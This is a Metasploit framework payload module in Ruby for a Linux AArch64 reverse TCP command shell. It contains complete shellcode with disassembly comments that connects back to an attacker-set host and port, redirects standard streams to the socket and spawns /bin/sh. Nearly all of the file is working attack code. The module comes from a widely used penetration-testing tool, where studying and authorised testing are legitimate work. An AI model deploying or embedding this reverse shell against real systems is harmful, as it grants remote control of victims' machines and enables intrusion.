Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 152
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Linux
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
18
      'Description'   => 'Connect back to attacker and spawn a command shell',
19
      'License'       => MSF_LICENSE,
20
      'Platform'      => 'linux',
21
      'Arch'          => ARCH_AARCH64,
22
      'Handler'       => Msf::Handler::ReverseTcp,
23
      'Session'       => Msf::Sessions::CommandShellUnix,
24
      'Payload'       =>
25
        {
26
          'Offsets' =>
27
            {
28
              'LHOST'    => [ 132, 'ADDR' ],
29
              'LPORT'    => [ 130, 'n' ],
30
            },
31
          'Payload' =>
32
            [
33
            # Generated from external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s
34
            0xd2800040,          #  mov	x0, #0x2                   	// #2
35
            0xd2800021,          #  mov	x1, #0x1                   	// #1
36
            0xd2800002,          #  mov	x2, #0x0                   	// #0
37
            0xd28018c8,          #  mov	x8, #0xc6                  	// #198
38
            0xd4000001,          #  svc	#0x0
39
            0xaa0003e3,          #  mov	x3, x0
40
            0x10000341,          #  adr	x1, 80 <sockaddr>
41
            0xd2800202,          #  mov	x2, #0x10                  	// #16
42
            0xd2801968,          #  mov	x8, #0xcb                  	// #203
43
            0xd4000001,          #  svc	#0x0
44
            0x35000260,          #  cbnz	w0, 74 <exit>
45
            0xaa0303e0,          #  mov	x0, x3
46
            0xd2800002,          #  mov	x2, #0x0                   	// #0
47
            0xd2800001,          #  mov	x1, #0x0                   	// #0
48
            0xd2800308,          #  mov	x8, #0x18                  	// #24
49
            0xd4000001,          #  svc	#0x0
50
            0xd2800021,          #  mov	x1, #0x1                   	// #1
51
            0xd2800308,          #  mov	x8, #0x18                  	// #24
52
            0xd4000001,          #  svc	#0x0
53
            0xd2800041,          #  mov	x1, #0x2                   	// #2
54
            0xd2800308,          #  mov	x8, #0x18                  	// #24
55
            0xd4000001,          #  svc	#0x0
56
            0x10000180,          #  adr	x0, 88 <shell>
57
            0xd2800002,          #  mov	x2, #0x0                   	// #0
58
            0xf90003e0,          #  str	x0, [sp]
59
            0xf90007e2,          #  str	x2, [sp,#8]
60
            0x910003e1,          #  mov	x1, sp
61
            0xd2801ba8,          #  mov	x8, #0xdd                  	// #221
62
            0xd4000001,          #  svc	#0x0
63
            0xd2800000,          #  mov	x0, #0x0                   	// #0
64
            0xd2800ba8,          #  mov	x8, #0x5d                  	// #93
65
            0xd4000001,          #  svc	#0x0
66
            0x5c110002,          #  .word	0x5c110002
67
            0x0100007f,          #  .word	0x0100007f
68
            0x00000000,          #  .word	0x00000000                // shell
69
            0x00000000,          #  .word	0x00000000
70
            0x00000000,          #  .word	0x00000000
71
            0x00000000,          #  .word	0x00000000
72
            ].pack("V*")
73
        }
74
      ))
75

76
    # Register command execution options
77
    register_options(
78
      [
79
        OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
80
      ])
81
  end
82

83
  def generate(_opts = {})
84
    p = super
85

86
    sh = datastore['SHELL']
87
    if sh.length >= 16
88
      raise ArgumentError, "The specified shell must be less than 16 bytes."
89
    end
90
    p[136, sh.length] = sh
91

92
    p
93
  end
94
end
95

96